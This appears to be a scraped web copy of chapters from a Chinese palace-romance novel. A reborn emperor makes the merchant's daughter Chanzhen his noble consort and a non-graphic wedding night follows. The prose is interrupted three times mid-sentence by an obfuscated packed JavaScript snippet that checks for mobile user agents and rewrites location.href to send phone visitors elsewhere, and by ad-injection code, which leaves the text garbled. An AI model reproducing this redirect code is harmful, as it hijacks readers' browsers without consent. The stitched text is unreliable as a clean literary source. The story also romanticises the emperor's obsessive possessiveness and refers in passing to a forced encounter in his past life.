现在陛下已经有三位成人的皇子,下面的皇四子皇五子也快到了出宫建府的年纪,而陛下迟迟未立储怕是对现有的几位皇子都不太满意。几位年长的皇子南巡这些天在前朝搅弄风云,尤其是皇长子庄王趁监国之便拉拢了数位大臣,只怕已经触犯了陛下的大忌。若盛宠的贵妃再生下一位皇子,陛下内心约莫也会有所倾斜,需知幼子最堪怜。 “今夜恐怕无人能熟睡。” 虽说陛下现在暂时打消了立后的念头,可照着现在的情势,等贵妃生下皇子,陛下说不定又重起心思要将人捧上后位。皇后的嫡子,比其他皇子可是占据着天然的优势。 他们这些老臣已经快到了颐养天年的岁数,还是一心拥立陛下勿要卷入立储之事,陛下可不是任人左右的性子。 回到紫宸殿,陛下便挥手屏退了宫女。 禅真默默望着他心头热流涌动,终于忍不住扑进了他的怀中,脸颊发烫地贴着他的胸膛,声音中含着一丝哽咽。 “陛下……妾身真的不是在做梦吗?” 她一介商人之女,陛下竟然不是哄骗她,真的下旨封她做了贵妃。她恍如处在梦中,从幼时与母亲生活的那座小院,到宋府高高的阁楼,从来无人珍视她。 母亲怨恨她是女儿身不能叫父亲带回宋家认祖归宗,真正回到宋家后父亲却只当她是讨好权贵的玩物,之后为了攀权附会又将她献给了陛下。她原以为自己的一生也就和母亲一样了,年轻貌美时靠着男人那点可怜的宠爱苟且度日,年老色衰后又会被抛下静静地等待着死亡。 可是陛下封她做了贵妃,还当着那么多大臣后妃的面维护她,不论将来怎样,至少陛下此刻对她的一片真心她是相信的。 陈定尧紧紧搂住她,温柔地抚摸着她的头发。 “自然不是做梦,以后你就是朕的贵妃娘娘了。” 前世不可得之人,如今终于心甘情愿投入到他的怀抱。回想起前世她临走前那句冰冷的“后悔与你相见”,他心头一滞,几乎要落下泪来。 他知道自己卑鄙,抢占了她与云沂相遇的先机,并利用她初入宫畏惧迫切寻求依赖的心理,才终于先一步打开了她的心房。可他并不后悔,再重来一次他仍会这么做。 她是他的天上星、水中月、林间鹿,是他的心之所在,也是他前世的可望不可及。他花了那样大的代价才获得一次重生的机会,自再次睁开双眼的那一天,他就知道自己永远也不可能放开她。 “禅真,永远不要离开朕。” 原本以为能够再次拥有她就能够满足了,可是当禅真靠在他怀中,用依赖的目光注视着自己的那一刻,他发现自己想要的远远还达不到满足。 他不只要禅真只注视着他,只依赖他一人,还想要获得她与自己同等的爱意。他爱禅真爱的发疯,他无法满足禅真只对他抱有轻薄的依赖和喜欢,前世云沂曾经从她那里得到的东西他要拥有,云沂不曾拥有的东西他也要全部霸占才甘心。 他松开手,紧扣住她的肩与她双目相对,目光深沉。 “哪怕有一天你想起朕曾经对你有不好的地方,你可以怨朕恨朕,但是不要再想着离开朕。” 禅真怔怔地望着他的双眼,从那里面看出了一丝恳求,还有隐忍的疯狂。 “只要陛下待禅真不变,”她拉起陛下的一只手,将脸颊轻轻贴上去,唇畔笑意融融,“禅真永远也不会怨恨陛下的。” 陈定尧轻轻抚摸着她发热的脸庞,眸光深沉,嘴角扯出一抹笑。 “你既答应了朕,便不准反悔了。” …… 转眼就到了册封典礼的这天。 一大早,禅真就被从床上叫起,换上了定制好的贵妃吉服,带上沉甸甸的贵妃朝冠,被绿珠搀扶着出了门。 她并不太懂册封典礼上的规矩,陛下也不愿意拘束了她,只命了两位年长的嬷嬷在她身边进行引导。 一路上不知经过了多少道门,禅真迷迷糊糊的,只跟着嬷嬷的动作行事,让她跪下扣头便乖巧跪下。所幸如今宫中后位空悬,她这个贵妃位便是最高的了,又有陛下特殊叮嘱,礼部在拟定册封典礼时便删减了许多繁琐的环节。 终于来到最后一步,陛下身着龙袍头戴冕旒,正背着身站立于大殿之前。 禅真第一次见到他如此庄严的打扮,心中顿时紧张起来。却见陛下回头看向自己,目光中流露出一丝笑意,接着向自己伸出了一只手。 “来。” 陛下的声音那样温柔,禅真突然就不感到紧张害怕了,她刚把手掌放上去,就被陛下紧紧的握住了。 搀扶着她的两位嬷嬷立即有眼色地退到了一边去。 下一步要做什么?禅真完全不懂,只能求助地看向陛下。 陈定尧与她并肩而立,双手于胸前相扣,对着奉先殿内,深深地拜了下去。禅真下意识学着他的动作,一齐朝着殿内的先祖们弯下腰去,并未注意到身旁的礼官们劝阻的动作。 三拜之后,陛下才停下,然后亲手从身旁的太监掌中接过册书,交到了她的手上。 禅真接过册书,再跪下谢恩,然后才在嬷嬷的搀扶下前往到了凤梧宫。 凤梧宫历朝皆为皇后寝宫,自先后去世后再无他人入住,在禅真原先的预想中应当是荒凉又萧瑟的,可是踏进宫门,入目所见确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13284132|139608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实一片春意盎然,繁花似锦,宫女太监们早已在门口等候多时,见到贵妃仪仗过来后,齐齐跪下。 “拜见贵妃娘娘!” 禅真看着一大片陌生的宫女太监,头脑还有些懵,只见其中唯一一个还算熟悉的绿珠笑容满面地走了过来。 “娘娘,这些宫人都是陛下亲自挑选的,说您先用着,若是用不顺手的话再领下去更换。” 这些宫女太监们噤若寒蝉地跪在地上,头都不敢上抬一点,生怕这位贵妃娘娘对自己哪块儿不满意。 禅真想到了自己,初次见面时她在陛下身前是不是也是如此的恐惧忐忑,说到底她最初的身份与这些宫人们也并无不同,只是自己运气好了一些。 “起身吧。”禅真感同身受,并不愿意多为难他们,转身又对绿珠说道,“今天是本宫大喜之日,便多赏赐他们一些吧。” 陛下之前赠送过她许多金银珍宝,都是由绿珠负责保管的。禅真入宫后份例都是跟着陛下那边走,其余的花销并不怎么大,倒不如多赏赐一些给这些宫人,他们在宫中也十分不容易。 底下的宫人们连忙感恩戴德地道:“多谢娘娘!” 心中却松了一口气,原本以为这位一步登天极受盛宠的贵妃娘娘会是不好相处之人,没想到待他们居然这么温和。 郭开公公此前训练他们时早已千叮咛万嘱咐,一定要对贵妃娘娘上一万个心,拿出伺候陛下的态度来侍奉这位娘娘,他们本已做好了最坏的心理打算,却不料贵妃娘娘如此温和良善,心中更是下定决心一定要好好对待娘娘。 禅真在绿珠指引下往宫内走,忽然看见前方出现了一大片粉白色的花田,柔软的花瓣随着微风摇曳,仿佛一股股的波浪在面前涌动。 “这是……西府海棠?”她有些不敢相信地看着眼前这一大片粉白色的花海。 绿珠笑道:“正是西府海棠,陛下知晓娘娘喜爱这种话,连夜命宫人移植过来的呢!” 禅真脑海中回忆起了之前在叶府时,陛下曾说过回宫后会在御花园为她种满海棠花,唇角忍不住弯起来。 原来陛下与她说的每一句话都不是哄骗她,她何得何能得到陛下如此相待。 进入正殿,里面的装饰更是令她瞠目结舌,震惊的说不出话来。满屋的金碧辉煌,雕梁画栋,甚至她在里面看见好多件原本是摆放在陛下紫宸殿里的珍宝。 陛下不会将紫宸殿里的东西都搬到她这里来了吧?禅真不得不怀疑起来。 这样未免有些太奢靡了,禅真心道。想起入宫以来陛下为她所做的一切,难怪文武百官有意见,连她都觉得自己太像历史上的妖妃了,把陛下迷的昏头黑脑的。不行,她可不能像前朝宠妃那样,一定要好好督促陛下做一个贤妃,也不枉陛下对她的用心。 在宫内坐下没过多久,便听见郭公公前来宣告陛下今晚宣贵妃在紫宸殿侍寝。 陛下今晚便要她侍寝? 禅真头皮瞬间都炸了开来。 17. 第一次侍寝 郭开走后,凤栖宫立刻就热闹了起来。 宫女太监们笑的嘴都咧开了,只见牙不见眼。绿珠更是急的催促下面的小太监们马上去烧水,准备好给娘娘沐浴。 “娘娘,时辰不早了,奴婢快些给您沐浴梳洗,可不能叫陛下久等了。”绿珠安排完下面的工作,又凑到禅真面前笑得眉飞色舞。 禅真抬头看了眼这明晃晃的天色,离天黑还差的远呢,但是绿珠这么高兴她总不能做个扫兴之人,何况她内心也是紧张又期待的。 宫人们速度很快,没多久就给她准备好了热水。 浴桶里水汽氤氲,五颜六色的花瓣飘浮在水面上,清雅的香气扑面而来。禅真有些羞涩地任绿珠脱去最后一层衣服,然后赤脚踏了进去。 晶莹的水珠从锁骨滑下,沿着玲珑的曲线,又慢慢落入浴桶之中。绿珠和另一位宫女站在身后,双手涂满精油,轻轻地在她身上按摩揉洗。 “娘娘,您真美。”入手一片温香软玉,令宫女忍不住感叹。 禅真有些害羞地又往水中缩了缩,只将锁骨之上露出了水面,脸颊和耳后一片通红。 虽然并非第一次与陛下同床共寝了,可是先前陛下只是搂着她睡觉,并不曾真正碰过她。可是现在她已经确确实实成了陛下的妃子,陛下又传她侍寝肯定不会再如先前那般了事。 怎么办,心脏跳的好快。禅真忍不住紧张地咬了咬唇,不知是不是这水汽太热,她只感觉自己浑身都要烧起来了。 沐浴完,禅真从浴桶里出来时身体仍旧有些酥软无力,绿珠和那位叫红玉的宫女一左一右扶着她,另上来了两位宫女,双手展开一条曳地的红色贴身长裙服侍她穿上。因要侍寝,绿珠只将她的长发半挽起,插上一只精致的玉簪,除此之外别无其他装饰。 陛下的御辇已提前来到凤栖宫门口等候,郭开焦急地在原地来回走动,有一小太监见状走上去询问:“要不奴才去催促一声?” 郭开瞥了他一眼:“天色还早,贵妃娘娘再多收拾收拾也无妨。” 心中却直道哎哟,贵妃娘娘您可快点吧,陛下在紫宸殿等的都要望眼欲穿了,这不早早就吩咐他将御辇送了过来。 正在这时,终于见一群宫女扶着贵妃娘娘走了出来,他眼睛瞬间一亮,连忙谄媚地迎上去:“贵妃娘娘您这就收拾好了?” 禅真轻轻点头:“郭公公您久等了。” 郭开可不敢客气,“杂家可不敢当,贵妃娘娘您请。” 他亲眼看着贵妃娘娘被扶上御辇坐稳后,马上又变了一张脸色,朝抬辇的太监们尖声叮嘱:“抬的稳当些,这位娘娘若是哪块儿不舒服了,可有你们好果子吃。” 说完,有些紧张地抹了把头上冒出的冷汗,才吩咐众人起辇。 御辇一路浩浩荡荡朝紫宸殿走去,路上有宫人撞见也纷纷跪下行礼,这样的排场落在某些人眼中又是一片酸水汹涌。 “那是贵妃娘娘吗?听闻陛下今晚召了贵妃去紫宸殿侍寝。”身旁的美人满眼羡慕地看着御辇远去的背景。 杨婕妤轻轻折断了手中的花枝,面无表情地道:“陛下可真是宠爱她。” 原先宫里都说她得宠,可跟这位贵妃比起来她算什么呢?明明她是官家女子经由采选入宫,一进宫就得封才人,却爬了整整三年才到如今的婕妤位份,可这么一个商户出身的女子,凭什么一进宫就被封为贵妃,陛下未免太过不公。 徐美人向来不算得宠,微微苦涩地收回了视线:“贵妃娘娘那般的年轻美貌,也难怪陛下如此宠爱。” “宫中谁不曾年轻貌美过,我倒要看贵妃能得宠到几时。”杨婕妤满心不甘地将手中的花甩在了地上,狠狠踩了一脚才转身离去。 徐美人望着她的背影,又抬头看了眼四四方方的天空,忍不住叹了口气。 宫中恐怕再也回不去先前的平静了。 另一边,御辇终于在紫宸殿停下。 禅真从辇车里走下,看着眼前这座熟悉的宫殿,紧张地抓紧了拳头,才在郭开笑眯眯的指示下抬步走了进去。 一入紫宸殿,禅真才发现殿内的装饰与早日她离开时已经大有不同,四周墙壁上挂满了红色的绸幔,炉中香烟袅袅,浓郁的檀香叫人头脑瞬间变得迷乱起来。 “陛下?”禅真缓步向里面走着,一边用手掀开了遮挡视线的帷幔,才终于见到陛下的身影。 没想到,陛下竟然也是同她一样穿了件红衣,她向来只见过陛下威严肃穆的模样,这样一身红衣倒衬得他更加鲜活年轻起来。禅真眨眨眼,这样一装扮谁还看得出是那位气势迫人的陛下啊,和寻常的富家公子哥竟无什么两样。 “你来了。”陈定尧起身,大步朝她走过来,眼睛将她上下打量了一番,才伸手握住她的腰揽入怀中,“你这般模样,朕从前只在梦中见过。” 禅真原本已经习惯了与他亲近,但在这种氛围下,仍是无法自抑地羞红了脸,默默地低下头去。 陈定尧见状轻笑了一声,揽着她走向了旁边的桌子面对面坐下。禅真定眼去看,桌上摆放着一套精美的酒器,除此之外并无他物。不知陛下这是何意,她抬头有些疑惑地望向对面。 只见陛下提起酒壶,分别向两个空杯里注了满满的酒水,先自己端起其中一杯,再将另一杯递到了她的面前。 禅真接下酒杯,心中隐隐有些猜想,但不太敢确定。 “陛下,这是?” “朕听闻,民间夫妻洞房之夜,都需要先喝下一杯合卺酒。”陈定尧一只手向她举起酒杯,“虽然今日只是贵妃的册封典礼,但朕私心是将它当作我们的成亲之礼。” 这一杯合卺酒,前世他原本是想留到禅真封后的那一天,可是至死他也未能等到。 看见陛下眼中隐隐的期待,禅真虽觉得自己只是贵妃此事不成体统,但却没能忍心拒绝他,只是沉默地举起了自己手中的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 酒杯,与他交杯饮下。 这杯酒水比她预想中要辛辣许多,禅真只喝下一口就放回了桌上,被呛的忍不住轻咳了两下。还未反应过来,就见陛下已经从对面起来,走到了自己跟前,高大的身影将自己完全笼罩其中。 禅真眼中已经有了几分湿润,抬头懵懵地望着他,还未开口,陛下已经揽住她的肩,朝她倾身俯了下来。 一个火热又湿润的物什轻轻含住了她的双唇。 这是陛下! 禅真惊讶地睁大了双眼,一股热气瞬间从脚底蹿遍了她的全身,叫她一时忘了动作。所幸陛下这举动并未持续太久,等陛下松开时,只见她满脸通红,头顶都几乎要热的冒出烟来。 可是她虽然羞的低下头不敢再看他一眼,但并未推开他,也未像前世那般对他排斥。 他心中一片柔软,“夜深了,我们安置吧。” 禅真头脑都晕成了一团浆糊,根本没听清楚他在说什么,只是下意识胡乱“嗯”的一声。 下一刻,她便被一双有力的双臂腾空抱起,然后轻轻放在了红色的龙帐里。 禅真紧张地闭上眼,双手下意识用力地抓住了床单。接下来耳边只听见一阵悉悉索索的声音,只想陛下应当是在解开衣服,禅真指节更加用力了。 陈定尧解下外衣,回过头看见她这么紧张又可怜的模样,心中柔情满满。前世第一次是他强迫,她浑身抗拒在他身下哭的昏天黑地,到深处更是愤恨地一口狠狠咬在他的肩上,他心中有愧,接下来的动作就更加温柔。 “莫怕。”禅真耳边听到了陛下温柔的声音,接着一个轻柔的吻安抚性地落在了她的眉间。 身上的衣服被一层一层解下,头上的簪子也被抽走,乌黑的秀发瞬间洒落了一身。禅真终于忍不住悄悄睁开了眼,却正好对上陛下温柔的双眸。他们距离的这般近,呼吸间的热气都洒在了彼此的脸上。 她还是有些害怕,身体在他的注视下都忍不住轻轻颤抖起来。 陈定尧伸手轻轻拨发她脸上的乱发,注视着她含水的眼眸。她在紧张,可是对自己并不抗拒。 “陛下,妾身是第一次,”禅真轻轻咬唇,伸手环住他的脖颈,声若蚊蝇,“请您怜惜。” 炉中香烟冉冉升起,整个房间都蒙上一层如梦似幻的迷离气息,床上的纱幔也轻轻地摆动起来,在夜风中翩翩起舞。 不知过了多久,禅真已是浑身香汗淋漓,一层又一层汗水浸湿了身下的床单,滑的她连手指都无法抓住。 她迷迷糊糊地看着头顶晃动的纱帐:“陛下,还有多久啊?” 男人的声音亦是有些沙哑,滚烫的汗水都滴在了她的脸上。 “快了。” 于是禅真满心期待地等着,可是直到失去意识,身体都仍是在摇摇晃晃的仿佛是在波浪中起伏。 她心中感觉到了几分委屈。 陛下骗人,明明就还要好久好久。 18. 亲昵相处 终于得偿所愿,陈定尧难免索求的多了一些,这一折腾就是大半夜。结束之时,禅真已经昏昏欲睡,浑身酥软无力。 迷糊之中,似乎有人将她抱了起来,禅真闭着眼无力地靠在那人怀中,下意识呓语:“陛下,我好困……” “嗯,你睡,朕伺候你沐浴。”陈定尧稳稳地抱着她向浴间走去。 门外等着伺候的宫女趁空处连忙进去,瞧见凌乱湿润的床铺仍面不改色,飞速换了一套全新的,重新整理干净才退出去。 另一便的浴间里水汽弥漫,温度也比外面要高上一些。禅真被放进温暖的水中时,不禁舒服地谓叹了一声,身上的酸涩也似乎减轻了一些。 下一刻,对面突然传来了另一道“哗啦”的水声,禅真挣扎地张开眼,迷迷蒙蒙地看见陛下也赤身进入了水中,她心中一惊这下什么睡意也没有了,双脚下意识扑腾了一下想要从水中起身,无奈刚行过房事四肢酸软,这一动作反而使身体失去了支撑向水底沉了下去。 “当心。”一只手揽住她的腰,将她从水底托了上来 这一扑腾浴池中顿时水花四溅,一缕一缕的湿发贴在她迷茫的脸上,水珠从发尾一滴滴地滑落,使她的脸庞显得越发凄艳,仿佛从水底爬出的精怪。 陈定尧见此美景忍不住动了动喉结,念着她到底初经人事勉强将心底的欲念按了下去,怕她迷迷糊糊地再滑进水中,于是借着臂膀将她拉到了自己身前,用自己的力量做着支撑。 “现在不困了?”他伸手将她额前的湿发拨到身后,贴着她小巧玲珑的耳边问。 他们这般几乎是皮肉相贴,他说话时的热气喷在她的耳边,将那朵白玉一般的耳朵熏的通红一片。禅真这时清醒过来,回想起先前的亲昵,双手捂住了脸根本都不敢抬头看他。 瞧见她这么一副羞愧难当的模样,陈定尧轻笑一声并未再多言,只是抬手帮她揉了揉肩膀。 陛下的手艺是极好的,禅真原本还觉得身子有些酸痛,渐渐的也得了趣身体放松下来,忍不住在他的动作下轻声哼哼起来。 正觉得舒畅之时,陛下手里的动作却突然停了下来。禅真头轻轻向后一歪,靠在了他的颈弯里。 “怎么了,陛下?” 陛下轻吻了下她的耳垂,声音低沉沙哑:“禅真,朕好不容易才克制住,你别再撩拨朕。” 察觉出他话中的深意,禅真忍不住轻轻一颤,面上飞过一片红云,声音有些羞恼:“陛下!” 明明是陛下动手动脚地撩拨她,她哪有…… 她这副难得的羞恼模样着实令他欢喜,但他也真的怕将她给惹恼了,毕竟她一向脸皮薄。他微微向后靠拉开了一点距离,有些无奈道:“好,都是朕的错,禅真莫气。” 禅真不好意思回头看他的深情,只是闷闷地盯着水面。 “妾身哪敢生陛下的气。” “朕允许你生朕的气。”陈定尧用手掬起一捧水,从她的肩头洒下,温香软玉在怀,他的目光亦是常人无法得见的深情,“只有你可以生朕的气。” 禅真突然就泻了气,心头瞬间就塌陷下去一块。 谁不喜欢被捧在手心里宠着呢?更何况那人是高高在上的陛下。禅真感觉自己脸颊的热度一时半会是退不下去了,陛下如此犯规,她怎么扛的住。 终于沐浴完毕,禅真被陛下用干爽的衣服紧紧包裹起来,重新抱回到了床上。 夜已经很深了,禅真起了乏意,忍不住抬手打了个小小的哈欠。 陈定尧将她连人带被紧紧地裹在自己怀中,四周的床幔已经放了下来,眼前一片昏暗,唯能看见她水润的眸光。 “睡吧。”他爱怜地轻拍了拍她的背,像哄孩子一般。 一夜无梦。 翌日起时,天色已经大亮,身边空无一人早已失去了余温。禅真忽然想起了在江南与陛下初见的那一夜,第二日早起时也是如此。 “娘娘起了。”荣英带着几位宫女入殿,上前伺候她穿衣。 禅真身体仍然有些疲软,“现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318437|139608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是几时了?” “已经将近午时了。”穿好外衣,容英又推着她到梳妆台前,与另外一名宫女为她梳头挽髻。 “这么晚了?”禅真心头一惊,难怪外面这般亮,“怎么无人叫我呢?” 便是在从前,练舞再苦再累,她也从未起的这么晚过。谁知道侍寝竟然比跳舞还要耗费心力,都怪昨晚陛下胡闹的太晚了,要是传出去她因为这种事睡过了头,岂不是要羞死。 荣英以极快的速度给她梳好了一个堕马髻,又从屉子里取出一个雕刻精致的妆奁,一个个挑出发饰在她头上比着,动作十分熟练,一边回复她:“陛下早起时特意交代过,让您多休息一些。” “可这样其他娘娘岂不是要久等了?”现在宫中她是位份最高的贵妃,嬷嬷讲过其他妃嫔是需要早起到她宫中请安的。 禅真无意与她们起争端,毕竟她这个新人一进宫就压了其他妃嫔一头,禅真自觉也是有些愧疚,想着将来最好就是彼此相安无事地过下去。可今日首次请安她便起迟了,会不会让其他人认为她是恃宠生娇想要给她们一个下马威啊。 “怎么会,陛下已经提前派人下去各宫吩咐过,今日请安便免了。”荣英插好了最后一支发簪,笑眯眯道,“这会儿陛下应当已经下朝了,娘娘要么去勤政殿瞧瞧?” 禅真放下心来,陛下既然已经传了话想必其他宫妃也不会再怪罪,而且说实话她还真不清楚该如何去跟陛下的其他妃嫔相处。 “我去了会不会打扰到陛下?”禅真知晓勤政殿是陛下处理公务的地方,后妃未经传召是不允许前往的。 荣英道:“陛下见了娘娘指不定会多高兴呢。” 早上陛下临走时,看向娘娘的睡颜目光都是依依不舍的,叫她看了都是脸红。而且规矩是规矩,其他妃嫔诸如淑妃杨婕妤也不是没借过给陛下送吃食的理由往勤政殿去,贵妃娘娘这么受宠陛下肯定不会拒绝接见。 或许因为是有了肌肤之亲,禅真此时对他格外依赖,闻言便有些动心。 19. 陛下得偿所愿 禅真到达勤政殿时,正看到一位宫妃装扮提着食盒的女子被拦下来。 “真不巧婕妤娘娘,陛下这会儿正忙呢。”郭开一脸笑眯眯的,动作却毫不含糊地挡在门口,一只手将杨婕妤拦了下来。 已经不知道被拦下多少次了,杨婕妤脸上的笑容都有些僵:“那本宫便并不多打扰了,这是本宫为陛下做的雪片糕,劳公公带进去给陛下尝尝。” 郭开面露难色,这时看到禅真走了过来,连忙换上一副更热情的笑容迎了上去。 “奴才参加贵妃娘娘,娘娘也是来看望陛下的?” 禅真朝旁边被拦下的女子望去一眼,虽然有些眼熟但并未认出她是陛下后宫哪位妃子,便也没有冒昧搭话,只对郭开笑道:“嗯,陛下此时还在忙吗?那我便不打扰了。” 郭开见她竟然真的转身就要走了,急的就差抓耳挠腮了,忙拦下她,“贵妃娘娘您先稍等一等,奴才再进去向陛下问问。” 事关这位娘娘他可不敢含糊,毕竟陛下对贵妃的宠爱可是有目共睹。杨婕妤之前求见过多少次陛下都显得不耐烦了,是以他才敢大胆地直接拦下来,换做贵妃他要再用对杨婕妤的那副态度,叫陛下知晓了几条命都不够他死的。 好不容易把贵妃拦下来没让她转身离开,他又火急火燎地往殿里奔了进去向陛下通传。 于是殿外只余下禅真与杨婕妤二人,身后带着各自的宫女,双方皆是为同一个目的而来,所受的待遇却天差地别,场面便显得有些尴尬。 最终还是杨婕妤先走上前向她行礼:“嫔妾见过贵妃娘娘。” 禅真不知该如何称呼她,还是绿珠在身后小声给她提醒,她才知晓原来这位就是之前很受陛下宠爱的杨婕妤。 心中一时有些不是滋味,毕竟从与陛下相识起,陛下身边就一直只有她一个人。可是进了宫禅真也知晓此事无论如何也无法避免,而且陛下已经给了她至高的宠爱和位份,她觉得自己不能太过贪心,眼下就已经很满足了。 于是她露出个和善的笑容:“婕妤请起。” 杨婕妤给一位新人行礼竟也没有任何不满,反而笑吟吟的仿佛与她是亲姐妹一般。 “多谢娘娘,嫔妾原本还打算早上去娘娘宫中拜见,可惜陛下心疼娘娘昨日册封礼太过辛劳免了全宫的请安。没想到嫔妾在这儿竟跟您碰上了,看来咱们还真是有缘呢。” 她这么热情反而让禅真有些不自在,原本她以为自己突然空降贵妃位会引起全宫不满,如此看来却有些以小人之心度君子之腹了,笑容也真诚了许多。 “禅真初进宫许多事情还不了解,今后倒要劳烦婕妤姐姐多照料了。” 杨婕妤眸光微沉,脸上笑意更深:“怎么会劳烦呢?妾身陪伴陛下也有许多年了,贵妃娘娘若是哪里不清楚尽管来问嫔妾就是。” 说完,有些惊讶地看了她空空的手上一眼,捂着嘴道,“贵妃娘娘怎么空着手来了,这时想必陛下刚下朝还未用膳呢,嫔妾特意亲手做了陛下爱吃的雪片糕,娘娘若是有空也可以来嫔妾宫中,嫔妾教您怎么做。” 禅真笑意微敛,忽然心中就生起一股闷气。确实她对陛下的喜好不甚了解,此前与陛下一同用膳时,也多是陛下迁就她,她竟然都没怎么留意过陛下爱吃哪些食物。跟杨婕妤比起来,她这个后妃做的也太不合格了。 察觉出她的情绪比之前低沉了一些,杨婕妤眸中隐隐掠过一抹得意之色,正欲再说上些刺激的话,不巧郭开通传完走出来了,她忙收拾好神色期待地迎上去。 “郭公公,陛下怎么说的?” 郭开没回她,只是走到禅真面前谄媚道:“贵妃娘娘,陛下请您进去。” 禅真看他满头大汗,有些担心道:“公公,您身体不适吗?” 郭开抹了把头上的冷汗,想起自己进去通报时陛下的话,几乎打了个寒颤。 “贵妃之事,以后不必再通传,这宫中贵妃去任何地方都无需阻拦,若再有今日一事,你自己下去领罚。” 陛下说这话时声音平静头也未抬,手上仍不停地批阅着奏章,却叫郭开差点腿一软跪了下去。这不出来后面对贵妃态度更是十足十的恭敬,与面对陛下也一般无二了。 “多谢娘娘关心,奴才无事。” 杨婕妤见他只与贵妃说话无视了自己,脸色都有些绿了,勉强堆起笑容问:“那本宫呢?陛下可曾叫本宫一同进去?” “这……”郭开对她态度就有些敷衍,“陛下只传了贵妃娘娘一人,婕妤您请回吧。” 如此差别对待,杨婕妤只觉得被狠狠扇了一耳光,看见贵妃关切的目光更觉得她惺惺作态,分明是嘲笑自己。 陛下竟真的如此绝情,在新人面前一点情面都不留给自己。她掐紧掌心,心中嫉恨的在滴血,面上仍若无其事般笑道:“那本宫就不叨扰了陛下和贵妃娘娘了,这雪片糕是本宫亲手所做,劳您带进去,陛下和贵妃娘娘亦可共同品尝一二。” 郭开并未接下,贵妃娘娘还在这儿呢,他把杨婕妤做的东西带进去不是给陛下和娘娘添堵吗。 杨婕妤看他不接,便将主意打到了禅真身上:“娘娘也还未用午膳吧,嫔妾做的雪片糕曾经还得过陛下亲口夸赞,娘娘可要尝尝?” 她这般热情,禅真一时不知该如何拒绝,只好伸手接下了。 见她接下,杨婕妤才舒了一口气,笑着退下了。 禅真手里提着不轻不重做工精美的小食盒,跟在郭开身后走进勤政殿,远远就看见陛下跟前的书案上积累了高高的一大摞奏折,而陛下眉头紧锁手中笔耕不辍,听见郭开通传才终于从书案中抬起头来,放下笔挥手叫她过去。 “陛下。”禅真走上前,还未行礼就被他大手一揽坐到了他的怀中。 陈定尧没想到她竟会主动前来探望自己,心中顿时神清气爽,处理公务积攒下来的劳累也一扫而空。 “身体可是好受了一些?” 知晓陛下问的哪一方面,禅真脸色一红,伸手推了下他的胸膛。 “陛下,您快放我下来,这里是处理公务的地方。” 陛下怎么越来越孟浪了呢?若是在自己宫中,随他施为举止亲密些也无妨,可这里是陛下处理政事的地方,这样感觉自己真的就像个引诱陛下不误正事的妖妃了。 知道她脸皮薄,陈定尧送开了手,禅真立马往后退了好几步远,眼神有些防备地看着他,生怕他再动手动脚。 陈定尧无奈地轻笑了一声,看见她手中提的食盒,顿时来了兴趣。 “这是你做的?” 她知晓禅真除了歌舞曲艺之外,在厨艺上也是相当不错,前世云沂还曾经在兄弟们之间炫耀过,可惜禅真进宫后对他百般怨恨,叫他无缘享受过一次。 禅真心中有些别扭,将食盒搁书案上一放,小声道:“才不是妾身做的,是杨婕妤托妾身带进来给陛下品尝。” 听见“杨婕妤”三字,他脸色一沉,往外喊道:“郭开!” 郭开急忙跑进来,见陛下和贵妃娘娘隔的老远没如想象般贴在一起浓情蜜意的,再看桌上放的食盒,脑子略微一转就明白是怎么回事了。 “把这东西丢出去。”他揉了揉额角,声音冷肃。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13339898|139608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“奴才遵命。”郭开连忙把那要命的东西拿下来,赶着去毁尸灭迹。 禅真伸手拦下来,“别啊,杨婕妤好不容易亲手做的,而且陛下您不是喜欢吃雪片糕吗?” 这样糟蹋别人的心意总是不太好。 陈定尧认真打量着她的深情,见她果真只是心疼那盒雪片糕,并无流露出自己所期待的情绪,心中更是烦躁。 “朕从未说过朕喜欢这个东西。” 重生而来,之前的记忆已经十分久远,细节之处都记不大清楚了,但是他敢肯定自己从未像对禅真一般宠爱过任何一个女人。 而且杨婕妤那个女人,前世在禅真进宫后就多次作怪,之后被他打入冷宫才消停下来,今世他原想若是后宫其余人能够安分守己,他按照份例养着她们也无妨,看来还是他还是太过心善了。 “郭开,还不下去?” 郭开没想到一盒小小的雪片糕也能引起争执,心中暗暗下定,以后类似这种东西绝对不能再让它出现在贵妃面前。 终于将碍眼的东西清理干净,陈定尧想着昨日才与禅真亲呢相贴,总不能让无关紧要的人破坏了他们之间刚建立起的感情。禅真心性纯真,对他人总是怀抱着善意,这也无甚不好,左右他是皇帝,不管如何都能护住她便是。 他面色缓和一些,“往后朕身边只有你,朕喜欢什么,你总会慢慢知晓,何必听他人谗言。” 